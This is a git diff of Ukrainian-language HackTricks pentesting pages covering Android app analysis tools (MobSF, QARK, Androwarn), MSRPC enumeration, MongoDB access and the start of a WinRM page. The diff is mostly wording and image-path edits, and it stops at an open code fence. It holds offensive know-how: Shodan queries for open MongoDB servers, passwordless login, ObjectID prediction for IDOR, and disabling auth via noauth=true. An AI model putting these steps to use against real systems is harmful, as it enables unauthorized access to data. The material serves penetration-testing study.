Можливо, ви знаєте про цей вид вразливостей з вебу. Вам потрібно бути особливо обережними з цими вразливостями в Android-додатку:
|
||||
|
||||
* **SQL Injection:** При роботі з динамічними запитами або постачальниками контенту переконайтеся, що ви використовуєте параметризовані запити.
|
||||
* **JavaScript Injection (XSS):** Переконайтеся, що підтримка JavaScript та плагінів вимкнена для будь-яких WebViews (вимкнено за замовчуванням). [Більше інформації тут](webview-attacks.md#javascript-enabled).
|
||||
* **JavaScript Injection (XSS):** Перевірте, що підтримка JavaScript та плагінів вимкнена для будь-яких WebViews (вимкнено за замовчуванням). [Більше інформації тут](webview-attacks.md#javascript-enabled).
|
||||
* **Local File Inclusion:** WebViews повинні мати доступ до файлової системи вимкненим (включено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [Більше інформації тут](webview-attacks.md#javascript-enabled).
|
||||
* **Eternal cookies**: У кількох випадках, коли Android-додаток завершує сесію, куки не відкликаються або можуть навіть зберігатися на диску.
|
||||
* [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -601,26 +601,26 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
|||
Зверніть увагу, що MobSF може аналізувати **Android**(apk)**, IOS**(ipa) **та Windows**(apx) програми (_Windows програми повинні аналізуватися з MobSF, встановленого на Windows хості_).\
|
||||
Також, якщо ви створите **ZIP** файл з вихідним кодом **Android** або **IOS** програми (перейдіть до кореневої папки програми, виберіть все і створіть ZIP-файл), він також зможе його проаналізувати.
|
||||
|
||||
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде налаштувати свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **hash** буде **завантажений** замість файлу.
|
||||
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде налаштувати свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **hash** буде **upload** замість файлу.
|
||||
|
||||
### Допоміжний динамічний аналіз з MobSF
|
||||
|
||||
**MobSF** також може бути дуже корисним для **динамічного аналізу** в **Android**, але в цьому випадку вам потрібно буде встановити MobSF і **genymotion** на вашому хості (VM або Docker не працюватимуть). _Примітка: Вам потрібно **спочатку запустити VM в genymotion** і **потім MobSF.**_\
|
||||
**MobSF динамічний аналізатор** може:
|
||||
|
||||
* **Витягувати дані програми** (URL, журнали, буфер обміну, скріншоти, зроблені вами, скріншоти, зроблені "**Exported Activity Tester**", електронні листи, бази даних SQLite, XML файли та інші створені файли). Усе це виконується автоматично, за винятком скріншотів, вам потрібно натиснути, коли ви хочете зробити скріншот, або вам потрібно натиснути "**Exported Activity Tester**", щоб отримати скріншоти всіх експортованих активностей.
|
||||
* **Витягувати дані програми** (URL-адреси, журнали, буфер обміну, скріншоти, зроблені вами, скріншоти, зроблені "**Exported Activity Tester**", електронні листи, бази даних SQLite, XML файли та інші створені файли). Усе це виконується автоматично, за винятком скріншотів, вам потрібно натиснути, коли ви хочете зробити скріншот, або вам потрібно натиснути "**Exported Activity Tester**", щоб отримати скріншоти всіх експортованих активностей.
|
||||
* Захоплювати **HTTPS трафік**
|
||||
* Використовувати **Frida** для отримання **інформації під час виконання**
|
||||
* Використовувати **Frida** для отримання **runtime** **інформації**
|
||||
|
||||
З версій Android **> 5**, він **автоматично запустить Frida** і встановить глобальні **налаштування проксі** для **захоплення** трафіку. Він буде захоплювати трафік лише з тестованої програми.
|
||||
З версій Android **> 5**, він **автоматично запустить Frida** і встановить глобальні **proxy** налаштування для **захоплення** трафіку. Він буде захоплювати трафік лише з тестованої програми.
|
||||
|
||||
**Frida**
|
||||
|
||||
За замовчуванням, він також використовуватиме деякі скрипти Frida для **обходу SSL pinning**, **виявлення root** і **виявлення налагоджувача** та для **моніторингу цікавих API**.\
|
||||
За замовчуванням, він також використовуватиме деякі Frida скрипти для **обходу SSL pinning**, **виявлення root** і **виявлення дебагера** та для **моніторингу цікавих API**.\
|
||||
MobSF також може **викликати експортовані активності**, захоплювати **скріншоти** з них і **зберігати** їх для звіту.
|
||||
|
||||
Щоб **почати** динамічне тестування, натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити журнали, згенеровані скриптами Frida, і "**Live API Monitor**", щоб побачити всі виклики до підключених методів, передані аргументи та повернені значення (це з'явиться після натискання "Start Instrumentation").\
|
||||
MobSF також дозволяє вам завантажувати власні **скрипти Frida** (щоб надіслати результати ваших скриптів Frida до MobSF, використовуйте функцію `send()`). Він також має **кілька попередньо написаних скриптів**, які ви можете завантажити (ви можете додати більше в `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **виберіть їх**, натисніть "**Load**" і натисніть "**Start Instrumentation**" (ви зможете побачити журнали цих скриптів у "**Frida Live Logs**").
|
||||
MobSF також дозволяє вам завантажувати свої власні **Frida скрипти** (щоб надіслати результати ваших скриптів Frida до MobSF, використовуйте функцію `send()`). Він також має **кілька попередньо написаних скриптів**, які ви можете завантажити (ви можете додати більше в `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **виберіть їх**, натисніть "**Load**" і натисніть "**Start Instrumentation**" (ви зможете побачити журнали цих скриптів у "**Frida Live Logs**").
|
||||
|
||||
![](<../../.gitbook/assets/image (419).png>)
|
||||
|
||||
|
@ -628,10 +628,10 @@ MobSF також дозволяє вам завантажувати власні
|
|||
|
||||
* **Перерахувати завантажені класи**: Він виведе всі завантажені класи
|
||||
* **Захопити рядки**: Він виведе всі захоплені рядки під час використання програми (дуже шумно)
|
||||
* **Захопити порівняння рядків**: Може бути дуже корисно. Він **показуватиме 2 рядки, що порівнюються** і чи був результат True або False.
|
||||
* **Захопити порівняння рядків**: Може бути дуже корисно. Він **показуватиме 2 рядки, які порівнюються** і чи був результат True чи False.
|
||||
* **Перерахувати методи класу**: Введіть ім'я класу (наприклад, "java.io.File") і він виведе всі методи класу.
|
||||
* **Шукати шаблон класу**: Шукати класи за шаблоном
|
||||
* **Трасувати методи класу**: **Трасувати** **весь клас** (дивитися вхідні та вихідні дані всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих методів Android API.
|
||||
* **Трасувати методи класу**: **Трасувати** **весь клас** (дивитися вхідні та вихідні дані всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих методів Android Api.
|
||||
|
||||
Якщо ви вибрали допоміжний модуль, який хочете використовувати, вам потрібно натиснути "**Start Intrumentation**" і ви побачите всі виходи в "**Frida Live Logs**".
|
||||
|
||||
|
@ -648,13 +648,13 @@ receivers
|
|||
```
|
||||
**HTTP tools**
|
||||
|
||||
Коли http-трафік захоплюється, ви можете побачити непривабливий вигляд захопленого трафіку на "**HTTP(S) Traffic**" внизу або більш привабливий вигляд у "**Start HTTPTools**" зеленій кнопці. З другого варіанту ви можете **відправити** **захоплені запити** до **проксі** таких як Burp або Owasp ZAP.\
|
||||
Коли HTTP-трафік захоплюється, ви можете побачити непривабливий вигляд захопленого трафіку на "**HTTP(S) Traffic**" внизу або більш привабливий вигляд у "**Start HTTPTools**" зеленій кнопці. З другого варіанту ви можете **відправити** **захоплені запити** до **проксі** таких як Burp або Owasp ZAP.\
|
||||
Для цього, _включіть Burp -->_ _вимкніть Intercept --> у MobSB HTTPTools виберіть запит_ --> натисніть "**Send to Fuzzer**" --> _виберіть адресу проксі_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Якщо ви закінчили динамічний аналіз з MobSF, ви можете натиснути на "**Start Web API Fuzzer**", щоб **фузити http запити** та шукати вразливості.
|
||||
Якщо ви закінчили динамічний аналіз з MobSF, ви можете натиснути на "**Start Web API Fuzzer**", щоб **фуззити http запити** та шукати вразливості.
|
||||
|
||||
{% hint style="info" %}
|
||||
Після виконання динамічного аналізу з MobSF налаштування проксі можуть бути неправильно сконфігуровані, і ви не зможете їх виправити з GUI. Ви можете виправити налаштування проксі, виконавши:
|
||||
Після виконання динамічного аналізу з MobSF налаштування проксі можуть бути неправильно налаштовані, і ви не зможете їх виправити з GUI. Ви можете виправити налаштування проксі, виконавши:
|
||||
```
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
|
@ -667,7 +667,7 @@ adb shell settings put global http_proxy :0
|
|||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Це **чудовий інструмент для виконання статичного аналізу з графічним інтерфейсом**
|
||||
Це **чудовий інструмент для виконання статичного аналізу з GUI**
|
||||
|
||||
![](<../../.gitbook/assets/image (741).png>)
|
||||
|
||||
|
@ -682,7 +682,7 @@ qark --java path/to/specific/java/file.java
|
|||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
* Відображає всі витягнуті файли для зручності посилання
|
||||
* Відображає всі витягнуті файли для зручності
|
||||
* Автоматично декомпілює APK файли у формат Java та Smali
|
||||
* Аналізує AndroidManifest.xml на наявність загальних вразливостей та поведінки
|
||||
* Статичний аналіз вихідного коду на наявність загальних вразливостей та поведінки
|
||||
|
@ -693,7 +693,7 @@ reverse-apk relative/path/to/APP.apk
|
|||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER - це програма командного рядка, яка може використовуватися в Windows, MacOS X та Linux, що аналізує _.apk_ файли в пошуках вразливостей. Це робиться шляхом декомпресії APK і застосування ряду правил для виявлення цих вразливостей.
|
||||
SUPER - це програма командного рядка, яка може використовуватися в Windows, MacOS X та Linux, що аналізує _.apk_ файли в пошуках вразливостей. Це робиться шляхом декомпресії APK і застосування серії правил для виявлення цих вразливостей.
|
||||
|
||||
Усі правила зосереджені в файлі `rules.json`, і кожна компанія або тестувальник можуть створити свої власні правила для аналізу того, що їм потрібно.
|
||||
|
||||
|
@ -705,7 +705,7 @@ super-analyzer {apk_file}
|
|||
|
||||
![](<../../.gitbook/assets/image (297).png>)
|
||||
|
||||
StaCoAn - це **кросплатформений** інструмент, який допомагає розробникам, дослідникам у сфері bugbounty та етичним хакерам виконувати [статичний аналіз коду](https://en.wikipedia.org/wiki/Static\_program\_analysis) мобільних додатків.
|
||||
StaCoAn - це **кросплатформений** інструмент, який допомагає розробникам, шукачам вразливостей та етичним хакерам виконувати [статичний аналіз коду](https://en.wikipedia.org/wiki/Static\_program\_analysis) мобільних додатків.
|
||||
|
||||
Концепція полягає в тому, що ви перетягуєте та скидаєте файл вашого мобільного додатку (файл .apk або .ipa) на додаток StaCoAn, і він створить для вас візуальний та портативний звіт. Ви можете налаштувати параметри та словники, щоб отримати індивідуальний досвід.
|
||||
|
||||
|
@ -723,7 +723,7 @@ androbugs.exe -f [APK file]
|
|||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** - це інструмент, основною метою якого є виявлення та попередження користувача про потенційно шкідливу поведінку, розроблену Android-додатком.
|
||||
**Androwarn** - це інструмент, основна мета якого полягає в виявленні та попередженні користувача про потенційно шкідливу поведінку, розроблену Android-додатком.
|
||||
|
||||
Виявлення здійснюється за допомогою **статичного аналізу** байт-коду Dalvik додатка, представленого як **Smali**, з використанням бібліотеки [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
|
@ -735,7 +735,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
![](<../../.gitbook/assets/image (595).png>)
|
||||
|
||||
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці мобільних додатків OWASP. Його мета - спростити це завдання та зробити його більш дружнім для розробників мобільних додатків та фахівців з безпеки.
|
||||
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці мобільних додатків OWASP. Його мета - спростити це завдання та зробити його більш дружнім для розробників мобільних додатків і фахівців з безпеки.
|
||||
|
||||
Він здатний:
|
||||
|
||||
|
@ -769,8 +769,8 @@ ProGuard розповсюджується як частина Android SDK і з
|
|||
* завантажити ресурс як InputStream;
|
||||
* передати результат класу, що наслідує від FilterInputStream, для його розшифрування;
|
||||
* виконати деяку безглузду обфускацію, щоб витратити кілька хвилин часу реверсера;
|
||||
* передати розшифрований результат ZipInputStream, щоб отримати DEX файл;
|
||||
* нарешті завантажити отриманий DEX як ресурс, використовуючи метод `loadDex`.
|
||||
* передати розшифрований результат в ZipInputStream, щоб отримати DEX файл;
|
||||
* нарешті, завантажити отриманий DEX як ресурс, використовуючи метод `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
|
@ -794,7 +794,7 @@ APKiD надає вам інформацію про **те, як був ство
|
|||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b - це віртуальна машина безпеки Android на базі ubuntu-mate, яка включає колекцію останніх фреймворків, посібників та лабораторій від різних фахівців з безпеки та дослідників для реверс-інжинірингу та аналізу шкідливого ПЗ.
|
||||
AndroL4b - це віртуальна машина безпеки Android на базі ubuntu-mate, яка включає колекцію останніх фреймворків, навчальних посібників та лабораторій від різних фахівців з безпеки та дослідників для реверс-інжинірингу та аналізу шкідливого ПЗ.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -810,7 +810,7 @@ AndroL4b - це віртуальна машина безпеки Android на б
|
|||
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -826,16 +826,16 @@ AndroL4b - це віртуальна машина безпеки Android на б
|
|||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими хитрощами, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -32,15 +32,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## Основна інформація
|
||||
|
||||
Протокол Microsoft Remote Procedure Call (MSRPC) — це модель клієнт-сервер, яка дозволяє програмі запитувати послугу у програми, розташованої на іншому комп'ютері, не розуміючи специфіки мережі. Він спочатку був отриманий з програмного забезпечення з відкритим кодом, а пізніше розроблений і захищений авторським правом компанією Microsoft.
|
||||
Протокол Microsoft Remote Procedure Call (MSRPC), клієнт-серверна модель, що дозволяє програмі запитувати послугу у програми, розташованої на іншому комп'ютері, не розуміючи специфіки мережі, спочатку був отриманий з програмного забезпечення з відкритим кодом, а пізніше розроблений і захищений авторським правом компанією Microsoft.
|
||||
|
||||
Кінець точки RPC можна отримати через TCP і UDP порт 135, SMB на TCP 139 і 445 (з нульовою або автентифікованою сесією), а також як веб-сервіс на TCP порті 593.
|
||||
Кінець RPC можна отримати через TCP і UDP порт 135, SMB на TCP 139 і 445 (з нульовою або автентифікованою сесією), а також як веб-сервіс на TCP порті 593.
|
||||
```
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
```
|
||||
## Як працює MSRPC?
|
||||
|
||||
Ініційований клієнтським додатком, процес MSRPC включає виклик локальної підпрограми, яка потім взаємодіє з бібліотекою виконання клієнта для підготовки та передачі запиту на сервер. Це включає перетворення параметрів у стандартний формат представлення даних мережі. Вибір транспортного протоколу визначається бібліотекою виконання, якщо сервер віддалений, що забезпечує доставку RPC через мережевий стек.
|
||||
Ініційований клієнтським додатком, процес MSRPC включає виклик локальної підпроцедури, яка потім взаємодіє з бібліотекою виконання клієнта для підготовки та передачі запиту на сервер. Це включає перетворення параметрів у стандартний формат представлення даних мережі. Вибір транспортного протоколу визначається бібліотекою виконання, якщо сервер віддалений, що забезпечує доставку RPC через мережевий стек.
|
||||
|
||||
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
|
||||
|
||||
|
@ -54,7 +54,7 @@ Annotation: Messenger Service
|
|||
UUID: 00000000-0000-0000-0000-000000000000
|
||||
Binding: ncadg_ip_udp:<IP>[1028]
|
||||
```
|
||||
Доступ до служби локатора RPC забезпечується через специфічні протоколи: ncacn\_ip\_tcp та ncadg\_ip\_udp для доступу через порт 135, ncacn\_np для SMB-з'єднань та ncacn\_http для веб-орієнтованої RPC-комунікації. Наступні команди ілюструють використання модулів Metasploit для аудиту та взаємодії з MSRPC-сервісами, в основному зосереджуючись на порту 135:
|
||||
Доступ до служби локатора RPC забезпечується через специфічні протоколи: ncacn\_ip\_tcp та ncadg\_ip\_udp для доступу через порт 135, ncacn\_np для SMB з'єднань та ncacn\_http для веб-орієнтованої RPC комунікації. Наступні команди ілюструють використання модулів Metasploit для аудиту та взаємодії з MSRPC службами, в основному зосереджуючись на порту 135:
|
||||
```bash
|
||||
use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||
use auxiliary/scanner/dcerpc/hidden
|
||||
|
@ -62,7 +62,7 @@ use auxiliary/scanner/dcerpc/management
|
|||
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
|
||||
rpcdump.py <IP> -p 135
|
||||
```
|
||||
Усі опції, крім `tcp_dcerpc_auditor`, спеціально розроблені для націлювання на MSRPC на порту 135.
|
||||
Усі параметри, крім `tcp_dcerpc_auditor`, спеціально розроблені для націлювання на MSRPC на порту 135.
|
||||
|
||||
#### Помітні інтерфейси RPC
|
||||
|
||||
|
@ -117,15 +117,15 @@ rpcdump.py <IP> -p 135
|
|||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
**Hacking Insights**\
|
||||
Залучайтеся до контенту, який занурюється в захоплення та виклики хакерства
|
||||
**Інсайти з хакінгу**\
|
||||
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
|
||||
**Новини про хакінг у реальному часі**\
|
||||
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||||
|
||||
**Останні оголошення**\
|
||||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
|
@ -133,8 +133,8 @@ rpcdump.py <IP> -p 135
|
|||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -30,9 +30,9 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
**MongoDB** - це **система управління базами даних з відкритим кодом**, яка використовує **модель бази даних, орієнтовану на документи**, для обробки різноманітних форм даних. Вона пропонує гнучкість і масштабованість для управління неструктурованими або напівструктурованими даними в таких застосунках, як аналітика великих даних і управління контентом. **Порт за замовчуванням:** 27017, 27018
|
||||
**MongoDB** є **системою управління базами даних з відкритим кодом**, яка використовує **модель бази даних, орієнтовану на документи**, для обробки різноманітних форм даних. Вона пропонує гнучкість і масштабованість для управління неструктурованими або напівструктурованими даними в таких застосунках, як аналітика великих даних і управління контентом. **Порт за замовчуванням:** 27017, 27018
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
|
||||
|
@ -70,12 +70,12 @@ nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mo
|
|||
|
||||
* Всі mongodb: `"mongodb server information"`
|
||||
* Шукати повністю відкриті mongodb сервери: `"mongodb server information" -"partially enabled"`
|
||||
* Тільки частково увімкнено auth: `"mongodb server information" "partially enabled"`
|
||||
* Тільки частково увімкнено автентифікацію: `"mongodb server information" "partially enabled"`
|
||||
|
||||
## Login
|
||||
|
||||
За замовчуванням mongo не вимагає пароля.\
|
||||
**Admin** є загальною mongo базою даних.
|
||||
**Admin** є загальною базою даних mongo.
|
||||
```bash
|
||||
mongo <HOST>
|
||||
mongo <HOST>:<PORT>
|
||||
|
@ -88,12 +88,12 @@ nmap -n -sV --script mongodb-brute -p 27017 <ip>
|
|||
```
|
||||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mongo)
|
||||
|
||||
Подивіться в _/opt/bitnami/mongodb/mongodb.conf_, щоб дізнатися, чи потрібні облікові дані:
|
||||
Подивіться всередину _/opt/bitnami/mongodb/mongodb.conf_, щоб дізнатися, чи потрібні облікові дані:
|
||||
```bash
|
||||
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
|
||||
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
|
||||
```
|
||||
## Прогнозування Mongo Objectid
|
||||
## Прогноз Mongo Objectid
|
||||
|
||||
Приклад [з тут](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
|
||||
|
||||
|
@ -108,17 +108,17 @@ Mongo Object ID є **12-байтовими шістнадцятковими** р
|
|||
3. 2500: Ідентифікатор процесу
|
||||
4. 314019: Інкрементний лічильник
|
||||
|
||||
З наведених елементів ідентифікатор машини залишиться незмінним, поки база даних працює на тій самій фізичній/віртуальній машині. Ідентифікатор процесу зміниться лише у разі перезапуску процесу MongoDB. Часова мітка буде оновлюватися щосекунди. Єдина проблема в тому, щоб вгадати Object ID, просто інкрементуючи значення лічильника та часової мітки, полягає в тому, що Mongo DB генерує Object ID та призначає Object ID на системному рівні.
|
||||
З наведених елементів ідентифікатор машини залишиться незмінним, поки база даних працює на тій самій фізичній/віртуальній машині. Ідентифікатор процесу зміниться лише у разі перезапуску процесу MongoDB. Часова мітка буде оновлюватися кожну секунду. Єдина проблема в тому, щоб вгадати Object ID, просто інкрементуючи значення лічильника та часової мітки, полягає в тому, що Mongo DB генерує Object ID та призначає Object ID на системному рівні.
|
||||
|
||||
Інструмент [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), отримавши початковий Object ID (ви можете створити обліковий запис і отримати початковий ID), повертає близько 1000 ймовірних Object ID, які могли бути призначені наступним об'єктам, тому вам просто потрібно їх брутфорсити.
|
||||
|
||||
## Пост
|
||||
|
||||
Якщо ви root, ви можете **змінити** файл **mongodb.conf**, щоб не потрібно було вводити облікові дані (_noauth = true_) і **увійти без облікових даних**.
|
||||
Якщо ви root, ви можете **змінити** файл **mongodb.conf**, щоб не потрібні були облікові дані (_noauth = true_) і **увійти без облікових даних**.
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -54,7 +54,7 @@ Set-Item wsman:\localhost\client\trustedhosts *
|
|||
```powershell
|
||||
